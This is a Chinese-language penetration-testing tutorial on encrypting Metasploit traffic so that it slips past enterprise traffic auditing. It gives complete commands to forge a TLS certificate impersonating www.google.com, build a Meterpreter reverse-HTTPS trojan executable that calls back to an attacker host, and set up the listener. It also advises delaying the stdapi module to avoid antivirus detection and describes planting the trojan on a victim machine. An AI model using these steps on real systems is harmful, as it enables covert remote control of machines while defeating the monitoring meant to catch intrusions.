MSF流量加密.md

前言

现代企业内网通常会部署流量审计服务来检测潜在的安全威胁,如后门特征和行为特征。为了绕过这些检测,加密Metasploit流量是一个很好的方法。

实际上,Metasploit的某些payload已经内置了加密功能,例如reverse_httpsreverse_tcp_tls。这些payload在与监听器建立连接时会使用SSL/TLS加密,这有助于保护流量免受嗅探和分析

申请ssl证书

方法1:官网申请(需域名)

这里推荐使用cloudflare.com来申请ssl证书。点击左上角的网站,添加你的域名,此处我的域名是在godaddy申请的

1

然后选择Free

image-20230507195123036

按照它给定的步骤,修改你域名的域名服务器

image-20230507195230998

将域名的域名服务器修改成cloudflare的

随后进入快速入门指南,全部选项都勾选上

image-20230507195406483

点击SSL/TLS->源服务器,点击创建证书

image-20230507195438411

证书有效期选择15年

image-20230507195547880

将源证书框的内容复制到ssl.crt, 私钥框的内容复制到ssl.key

image-20230507195826233

在kali使用cat命令将两个文件合并成ssl.pem文件: cat ssl.crt ssl.key > ssl.pemssl.pem的内容如下图所示

方法2:Openssl创建

在攻击机Kali输入如下命令生成www..google.com.pem证书文件,

openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \
-subj "/C=UK/ST=London/L=London/O=Development/CN=www.google.com" \
-keyout www.google.com.key \
-out www.google.com.crt && \
cat www.google.com.key www.google.com.crt > www.google.com.pem && \
rm -f www.google.com.key www.google.com.crt
  • req:生成证书请求(Certificate Request)。

  • -new:生成一个新的证书请求。

  • -newkey rsa:4096:生成一个新的 RSA 私钥,并将其与证书请求一起生成。

  • -days 365:证书有效期为 365 天。

  • -nodes:生成的私钥不加密。

  • -x509:生成一个自签名的 X.509 格式的证书,而不是生成证书请求。

  • -subj "/C=UK/ST=London/L=London/O=Development/CN=www.google.com":指定证书的 Subject 字段。这里使用了一个虚构的示例,其中 CN 字段被设置为 www.google.com,在 SSL 握手过程中用于验证服务器的身份。

  • -keyout www.google.com.key:将生成的私钥保存到文件 www.google.com.key 中。

  • -out www.google.com.crt:将生成的自签名证书保存到文件 www.google.com.crt 中。

最后,使用 cat 命令将 www.google.com.keywww.google.com.crt 合并成一个 PEM 格式的文件 www.google.com.pem。然后,使用 rm 命令删除生成的私钥和证书文件,只保留 PEM 格式的文件

image-20221107110103415

在当前目录查看生成的证书文件: cat www.google.com.pem

MSF步骤

1.创建MSF木马

在证书文件所在目录输入如下命令生成msf木马

msfvenom -p windows/meterpreter/reverse_winhttps LHOST=192.168.47.134 LPORT=443 PayloadUUIDTracking=true HandlerSSLCert=www.google.com.pem StagerVerifySSLCert=true PayloadUUIDName=ParanoidStagedPSH -f exe -o msf.exe

PayloadUUIDTracking:启用UUID跟踪,这使得每个生成的payload具有唯一的标识符,有助于在多个会话中对不同payload进行区分 HandlerSSLCert:启用SSL证书验证

PayloadUUIDName:设置payload的UUID名称

image-20221107111434221

2.MSF开启监听

msf5 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_winhttps
payload => windows/meterpreter/reverse_winhttps
msf5 exploit(multi/handler) > set lhost 192.168.47.134
lhost => 192.168.47.134
msf5 exploit(multi/handler) > set lport 443
lport => 443
msf5 exploit(multi/handler) > set handlersslcert /root/www.google.com.pem
handlersslcert => /root/www.google.com.pem
msf5 exploit(multi/handler) > set stagerverifysslcert true
stagerverifysslcert => true
image-20221107170236469

Meterpreter 中有一个称为 "stdapi" 的组件,它提供了一个功能丰富的命令行界面,可以用来在目标系统上执行各种操作。在msf监听的设置里,默认是自动加载stdapi的,这很有可能会被杀软察觉到,因此建议在设置监听时添上set autoloadstdapi flase, 等目标返回meterpreter会话后,再在meterpreter命令行输入load stdapi将其加载

访问https://192.168.47.134, 查看此网页的证书

3.受害机上线

将msf木马丢到受害机中运行, 随后msf服务端收到目标主机的meterpreter会话

注意: 经过测试, 操作系统为win7的受害机不会上线

image-20221107171548194

4.抓包分析

先在meterpreter会话命令行随便输条指令, 这里输入getuid

image-20221107172759201

随后打开wireshark抓取msf服务端与受害机之间的流量数据包, 可发现此流量使用了TLS协议加密

image-20221107172425839

追踪TCP流, 在tls加密前这里的数据是明文数据, 而现在是加密后的乱码数据

最后更新于